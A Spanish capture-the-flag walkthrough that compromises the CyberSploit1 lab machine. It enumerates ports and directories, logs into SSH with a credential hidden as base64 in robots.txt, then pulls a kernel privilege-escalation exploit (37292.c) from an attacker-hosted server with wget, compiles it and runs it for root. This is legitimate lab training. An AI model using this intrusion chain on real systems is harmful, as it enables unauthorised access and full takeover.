🟢CyberSploit1

Write-up de la máquina CyberSploit1 de Proving Grounds #writeup #walkthrough

Enumeración

Servicios abiertos

Comenzamos la resolución de este CTF con la enumeración de los servicios abiertos.

nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.51.92

Dos servicios abiertos, puertos 22 y 80. El siguiente paso será la enumeración profunda de estos dos servicios.

nmap -p22,80 -Pn -n -sVC -vvv 192.168.51.92

Puertos abiertos:

  • Puerto 22 -> SSH -> OpenSSH 5.9

  • Puerto 80 -> HTTP -> Apache httpd 2.2.22

Enumeración Web

Tenemos un servidor Apache ejecutándose en el puerto 80. Vamos a ver el contenido de este servidor en el navegador Web.

En principio nada interesante. Vamos con la enumeración de directorios.

feroxbuster -u http://192.168.51.92/ -s200,301 -x html,txt,php

Hay un archivo robots.txt, vamos a enumerar su contenido.

Parece un base 64. Vamos a descifrarlo. Tenemos varias formas de hacerlo. En esta ocasión, lo vamos a hacer desde terminal ejecutando el siguente comando.

echo Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0= | base64 -d

¿Qué podrá significar "cybersploit{youtube.com/c/cybersploit}"? De momento, lo dejamos anotado.

Otra cosa que vamos a hacer es buscar información interesante en el código fuente del sitio Web.

Obtenemos el nombre de usuario "itsskv".

Explotación

Registramos el nombre de usuario que identificamos y continuamos explorando otras posibilidades que podrían ayudarnos a explotar la máquina de destino. Sin embargo, nuestros esfuerzos no rindieron frutos.

Hasta ahora, hemos descubierto un nombre de usuario en la página HTML y una frase descifrada en el archivo robots.txt. Sin embargo, como se indicó durante la exploración de puertos, el puerto 22 estaba accesible en la máquina de destino. Dado que tenemos un nombre de usuario válido pero no hay pistas sobre la contraseña, decidimos intentar usar la frase del archivo robots.txt como contraseña para iniciar sesión en SSH.

ssh itsskv@192.168.51.92

Obtenemos acceso a la máquina objetivo. El siguiente paso será buscar la flag local.txt.

Elevación de privilegios

Comenzamos enumerando nuestra máquina de destino a través del acceso de usuario SSH con el fin de obtener acceso como "root". Para lograr esto, ejecutamos varios comandos que nos permitieron recopilar información sobre el sistema operativo y la versión del kernel.

uname -a
cat /etc/issue

Para verificar la versión del kernel de la máquina de destino, utilizamos el comando "uname -a". Luego, revisamos el archivo "/etc/issue" para obtener detalles sobre el sistema operativo, el cual en este caso es Ubuntu y se encuentra en la versión 12.04.5.

Posteriormente, realizamos una búsqueda en la web para encontrar exploits disponibles para esta configuración y afortunadamente descubrimos una vulnerabilidad de escalada de privilegios local en el sistema operativo.

Descargamos el exploit y vemos como se ejecuta.

Enviaremos el exploit a la máquina objetivo, en concreto al directorio /tmp. Una vez traspasado, compilaremos el código c y lo ejecutaremos. Para enviar el archivo vamos a levantar un servidor con HTTP.

python2 2 -m SimpleHTTPServer 80
wget 192.168.49.51/37292.c

Compilamos y damos permisos de ejecución al exploit.

gcc 37292.c -o ofs
chmod +x ofs
./ofs

Tras realizar todos los pasos anteriores, ya tendremos acceso a la máquina víctima como "root".

Solo quedará buscar la flag proof.txt para finalizar la resolución de este CTF.

Last updated